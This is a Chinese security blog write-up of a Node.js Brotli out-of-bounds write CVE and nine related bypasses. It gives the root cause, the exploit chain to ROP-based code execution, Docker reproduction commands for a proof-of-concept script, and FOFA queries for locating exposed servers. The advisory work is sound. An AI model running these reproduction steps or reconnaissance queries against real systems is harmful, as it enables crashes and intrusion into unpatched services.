CVE-2026-111497 Node.js Brotli 越界写漏洞:从 DoS 到 RCE 完整复盘

CVE-2026-111497 Node.js Brotli 越界写漏洞:从 DoS 到 RCE 完整复盘

漏洞简介

Node.js 内置的 Brotli 压缩解码器,在解一个恶意构造的压缩流时会往缓冲区末尾之外多写 16 字节,破坏进程自己的堆内存——轻则服务崩溃(DoS),重则被攻击者远程执行代码(RCE)。

为什么会被触发:Node 的 zlib 模块、fetch()、以及 Express / body-parser / Koa / Next 等框架,都会自动解码 Brotli 压缩的数据。只要攻击者能决定"被解码的那段字节",就能喂进恶意流。两条最常见的入口:

  • 请求体:你接受 Content-Encoding: br 的 POST(JSON / 表单接口)——攻击者直接压缩一段畸形字节发过来,无需登录;

  • 上游响应:你的服务用 fetch() 去抓一个攻击者能影响的 URL,响应是恶意 Brotli,你本地解一下就中招。

后果分两档:

影响

难度

说明

DoS(崩溃)

低,任意未打补丁版都能稳定打出

解码器崩,进程 exit,服务不可用

RCE(执行代码)

高,概率性

需精确控制分配器布局(特定 Node 版本 + 单 worker + 重启 supervisor + ASLR 命中),目前只在实验室 24.x profile 上稳定复现

判定补丁状态

node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"
# -17 = 已打补丁 ; VULNERABLE = 中招,需升 22.23.4 / 24.22.1 / 26.12.1

主漏洞是 CVE-2026-111497(Brotli OOB write,CVSS 9.2,Red Team 命名 "Node2Shell")。它和 PHP 的 "PHP2Shell" 同源同类——都是"压缩/解析路径上的越界写"。本次更新里其余 9 个 CVE 是 DNS / TLS 证书 / 权限模型等校验绕过,本身不执行代码,用于绕过 HTTPS 身份校验或白名单;每个都配了验证脚本

10 个 CVE 全景

七度光 www.qdg.tw 七度光 www.qdg.tw Node.js 2026-10 · 10 个 CVE 全景 1 个 RCE + 9 个校验/逻辑缺陷 · 修复 v22.23.4 / v24.22.1 / v26.12.1 高危 ×4 CVE-2026-111497 Brotli 越界写 → RCE ★ 22/24/26 · CVSS 9.2 CVE-2026-105482 DNS NUL 截断 22/24/26 105483 全角IP 绕TLS 24/26 CVE-2026-106069 前导零 IP 绕 TLS 22/24/26 中危 ×3 105481 keep-alive 错位 106072 非规范IP DNS SAN CVE-2026-106074 UUID/SEA 熵复用 22/24/26 低危 ×3 106070 ZipFile 前缀回显 106071 通配符过度授权 106073 realpathSync 绕过 唯一 RCE 七度光 · www.qdg.tw

影响范围

项类别

详细内容

漏洞编号

CVE-2026-111497

受影响产品

Node.js 运行时(zlib 模块内嵌 Google Brotli 解码器),波及所有依赖其自动 Brotli 解码的上层框架/库

受影响组件

deps/brotli/c/dec/decode.c(BROTLI_SAFE 宏 fast path)+ node:zlib 的 brotliDecompress* / 流式解码;入口含 fetch()、Express 5 / body-parser 2、Koa、Nest、Next、axios、got、undici、node-fetch 等

受影响版本

20.x(EOL,无补丁);22.x < 22.23.4;24.x < 24.22.1;26.x < 26.12.1;上游 Google Brotli 1.0.3 ~ 1.2.0

漏洞类型

越界写(OOB write,CWE-787)+ 未检查返回值(CWE-252),固定 16 字节 memmove16 堆破坏

影响能力

DoS(任意未打补丁版稳打) / RCE(概率,需精确分配器布局)

攻击条件

攻击者可控被解码的 Brotli 流(入站 Content-Encoding: br 请求体 / 出站 fetch 上游响应),无需认证

实测复现

DoS:20.19.5 / 22.23.3 / 24.9.0 / 24.22.0 / 26.12.0 官方镜像;RCE:24.22.0 Express5.3.0+body-parser2.4.0、24.9.0 worker-fetch、24.9.0 worker-record-transform

其余9个(仅提供检测)

CVE

类别

触发面

CVE-2026-111497

Brotli OOB 写 → RCE

zlib/fetch/body-parser

CVE-2026-105482

DNS NUL 截断

dns.resolve*()

CVE-2026-105483

全角数字 IP 绕 TLS 校验

tls.checkServerIdentity

CVE-2026-106069

前导零 IP 绕 TLS 校验

tls.checkServerIdentity

CVE-2026-105481

keep-alive 响应错位

HTTP Agent 连接复用

CVE-2026-106072

非规范 IP 下 DNS SAN 认证 IP

tls.checkServerIdentity

CVE-2026-106074

UUID/randomInt 跨快照重复

启动快照 / SEA

CVE-2026-106070

ZipFile 校验后回显前缀

zlib.ZipFile

CVE-2026-106071

权限模型通配符过度授权

--permission

CVE-2026-106073

realpathSync() 绕权限模型

--permission

关键判断:能出 RCE 的只有 Brotli(111497);其余 3 个(DNS/TLS 校验绕过)用于绕过 HTTPS 身份 / 白名单,本身不执行代码。全版本通吃的是 DoS,RCE 依赖精确 lab 布局。

漏洞原理

CVE-2026-111497:BROTLI_SAFE 宏丢弃返回值

// decode.c:1890 — 有漏洞的宏
#define BROTLI_SAFE(METHOD)
  {
    if (safe) {
      if (!Safe##METHOD) {                  /* safe path:检查返回值 */
        result = BROTLI_DECODER_NEEDS_MORE_INPUT;
        goto saveStateAndReturn;
      }
    } else {
      METHOD;                                /* fast path:直接丢弃返回值 */
    }
  }

三个 block-switch 站点(DecodeLiteralBlockSwitch / DecodeCommandBlockSwitch / DecodeDistanceBlockSwitch)都走这个宏,且 wrapper 返回 void,返回值一旦丢弃就无法恢复。当流里 NBLTYPES 与流内实际 block switch 矛盾时,DecodeBlockTypeAndLength() 返回 BROTLI_FALSE(格式错误),fast path 忽略它继续解,导致块边界错位、脏 block_type_rb,最终在受控偏移发生固定 16 字节的 memmove16 堆越界写。

Brotli 利用链

七度光 www.qdg.tw 七度光 www.qdg.tw Brotli OOB 写 · 利用链 ① 畸形 Brotli 流 NBLTYPES 矛盾 + 块切换 ② BROTLI_SAFE 丢返回 fast path 不查 block-switch 错 ③ 脏块边界 block_type_rb 错位 ④ memmove16 越界写 固定 16 字节堆 OOB ⑤ ROP 重定向 gadget 链 + 保存返回地址 ⑥ 命令执行 / 崩溃 RCE(概率) 或 DoS(稳) 上游修复 google/brotli@0ed4268a BROTLI_SAFE_WITH_STATUS:fast path 也检查返回值 → 新错误码 ERR__ERROR_FORMAT_BLOCK_SWITCH(−17)= 补丁指纹 七度光 · www.qdg.tw

为什么普通流"打不出" RCE——MLEN 与 BLOCK_SIZE_CAP 恒等

RFC 7932 规定 MLEN 上限 = 2^24 = 16,777,216
BROTLI_BLOCK_SIZE_CAP   = 1<<24 = 16,777,216
                         两者恒等(设计使然)

单块(NBLTYPES=1)流解到块尾时,循环计数与 block_length 同时清零、正常退出,block-switch 触发条件永远到不了。这就是 ikow/brotli2crash 提出「RCE 结构性不可达、CVSS 9.2 偏高」论点的依据。但 跨块 / 调低 CAP 的特例(lab 里精确控制分配器)仍能打出——这正是 dimas RCE profile 的立足点。

9 个校验绕过类:各自一句话根因

CVE

根因(一句话)

105482

dns.resolve*() 把域名当 C 字符串交给 c-ares,NUL 字节静默截断,白名单校验与真实解析"前后不一"

105483

全角数字 IP(127.0.0.1)不被识别为 IP,改走 DNS SAN/CN 匹配,被错误接受

106069

前导零 IP(0127.0.0.1)WHATWG 按八进制=87.0.0.1、OS 按十进制=127.0.0.1,跨 IP 身份

105481

keep-alive socket 上"未请自来的响应"在事件循环忙碌窗口里被当作新请求的响应解析

106072

非规范 IPv4 拼写(0177.0.0.1/0x7f.0.0.1/2130706433/127.1)被归一化后匹配 DNS SAN

106074

randomUUID()/randomInt() 的熵缓存被写进启动快照/SEA,同快照进程返回相同值

106070

ZIP local/central 头不一致时错误被 catch,但解析头仍被缓存,后续读到文件开头攻击者字节

106071

--allow-fs-read 通配符 radix 查找对"比前缀短的路径"提前判匹配,过度授权

106073

fs.realpathSync() 缺少 --allow-fs-read 检查(native 版才是 21715 修过的),可探枚举

上游修复与补丁指纹

google/brotli@0ed4268a 把 DecodeBlockTypeAndLength 返回类型改为 BrotliDecoderErrorCode,新增错误码 BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH(errno −17),并引入 BROTLI_SAFE_WITH_STATUS 让 fast path 也检查返回值。这个 −17 就是补丁检测指纹:

node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"
# -17 = 已打补丁 ; VULNERABLE = 中招

漏洞复现

  • 准备环境

组件

版本 / 要求

说明

操作系统

Linux x86-64(Debian bookworm)

RCE profile 依赖 glibc 2.36 分配器布局

Node.js

v24.22.0(RCE);DoS 测试可用 20/22/24/26 任意未打补丁版

RCE 需精确 pin 的非 PIE 二进制

Docker

支持 linux/amd64 平台

lab 用 docker build 重建镜像

Python

3.11+

跑 poc.py(仅标准库)

Express

5.3.0 + body-parser 2.4.0

RCE 复现的中间件组合

openssl

任意

9 个验证脚本里 3 个 TLS 用例需生成测试证书

端口

3000(服务)/ 4000、4444(attacker 源 + callback)

本地回环,对外要根据具体变更

复现拓扑

七度光 www.qdg.tw 七度光 www.qdg.tw 复现拓扑(仅本地回环) poc.py 驱动 · 发畸形 Brotli 收回显证据 Node lab :3000 Express 5.3.0 body-parser 2.4.0 Attacker 源 Brotli origin :4000 callback :4444 ①请求 ②取脏数据 ③ 解码脏数据 → OOB 写 → ROP → /usr/bin/id 输出回显到 ① 的请求 socket RCE 证据 = 在发起请求的同一 HTTP socket 上收到新鲜 /usr/bin/id 输出(uid=/gid=) 无调试器 · 无 /proc · 无 callback 文件 · 无 proof 文件 概率性:ASLR 布局需命中主要形态,PoC 最多重试 16 个受监督进程 七度光 · www.qdg.tw

复现步骤

复现步骤一 : 先判断本机 Node 是否中招

node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"
# -17 = 已打补丁 ; VULNERABLE = 中招,需升 22.23.4 / 24.22.1 / 26.12.1

复现步骤二: DoS 快速验证(任意未打补丁版)

cd CVE-2026-111497-POC
docker build --pull --platform linux/amd64 -t cve-lab:stock \
  -f lab/v24.22.0/stock-node/Dockerfile lab/v24.22.0/stock-node
docker run --platform linux/amd64 -d --name cve-stock -p 127.0.0.1:3000:3000 cve-lab:stock
python3 poc.py --profile node-24.22.0-bookworm-x86_64
# 期望:PASS: DoS verified ...(服务不可用,进程 exit 139)
docker rm -f cve-stock

复现步骤三: RCE 验证(Express 5.3.0 profile)

cd CVE-2026-111497-POC
docker build --pull --platform linux/amd64 -t cve-lab:express \
  -f lab/v24.22.0/express-body-parser/Dockerfile lab/v24.22.0/express-body-parser
docker run --platform linux/amd64 -d --name cve-express \
  --entrypoint sh -e UV_THREADPOOL_SIZE=1 -p 127.0.0.1:3000:3000 \
  cve-lab:express -lc "while true; do node /app/server.js; sleep 0.1; done"
python3 poc.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 --timeout 30
# 成功特征:
#   PASS: RCE verified by fresh id output ...
#   proof_command=id
#   proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
docker rm -f cve-express

复现步骤四:其余 9 个 CVE 的验证脚本

cd ../nodejs-2026-10-other-9
node cve-2026-105482-dns-nul-truncation.js    # DNS NUL 截断(直接可跑)
node cve-2026-105483-tls-fullwidth-ip-bypass.js  # 全角 IP 绕 TLS(需 openssl)
node cve-2026-106069-tls-loose-ip-bypass.js   # 前导零 IP 绕 TLS(需 openssl)
node cve-2026-106072-tls-dns-san-ip.js        # 非规范 IP DNS SAN(需 openssl)
node cve-2026-105481-keepalive-response-confusion.js  # keep-alive 错位(本地竞态)
node cve-2026-106074-sea-uuid-reuse.js        # SEA/快照 UUID 复用(按说明手工构建)
node cve-2026-106070-zipfile-prefix.js        # 需 26.x + 恶意 ZIP
node cve-2026-106071-permission-wildcard.js  # 需 26.x 权限模型
node cve-2026-106073-permission-realpath.js  # 需权限模型

每个脚本输出 [VULNERABLE] / [PATCHED] 结论,本机(v22.22.2)实测 105482/105483/106069/106072 均命中 [VULNERABLE]。

FOFA 语法

该漏洞无法用单条 FOFA 指纹直接命中"未打补丁的 Node 版本"(版本藏在响应里且常被中间件吞掉)。FOFA 用于圈定部署面,再用「复现步骤一」的 patch-detection 逐台确认。

圈定 Node.js Web 应用面

body="Node.js" || header="X-Powered-By: Express" || header="X-Powered-By: Koa" || header="X-Powered-By: Fastify" || header="X-Powered-By: Hapi"

聚焦会自动解码 Brotli 请求体/响应的框架面

body="express.json" || body="body-parser" || body="koa-bodyparser" || (body="next" && header="Server: Next.js")

叠加 JS 运行时版本特征

(header="X-Powered-By: Express" && body="v24.") || (header="Server" && body="Node.js")

命中后逐台确认是否未打补丁

node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"
# VULNERABLE → 未打补丁,需升 22.23.4 / 24.22.1 / 26.12.1 ; -17 → 已打补丁

FOFA 结果只代表"暴露的 Node 服务面",不等于可 RCE。是否打穿取决于具体应用是否走 fetch()/body-parser 的 Brotli 解码路径 + 分配器布局,需 patch-detection 与 PoC 复现交叉确认。

工具下载

CVE-2026-109618/109619 PHP2Shell:藏了 14 年的 PHP 核心 RCE,一次 multipart 上传就崩 2026-10-22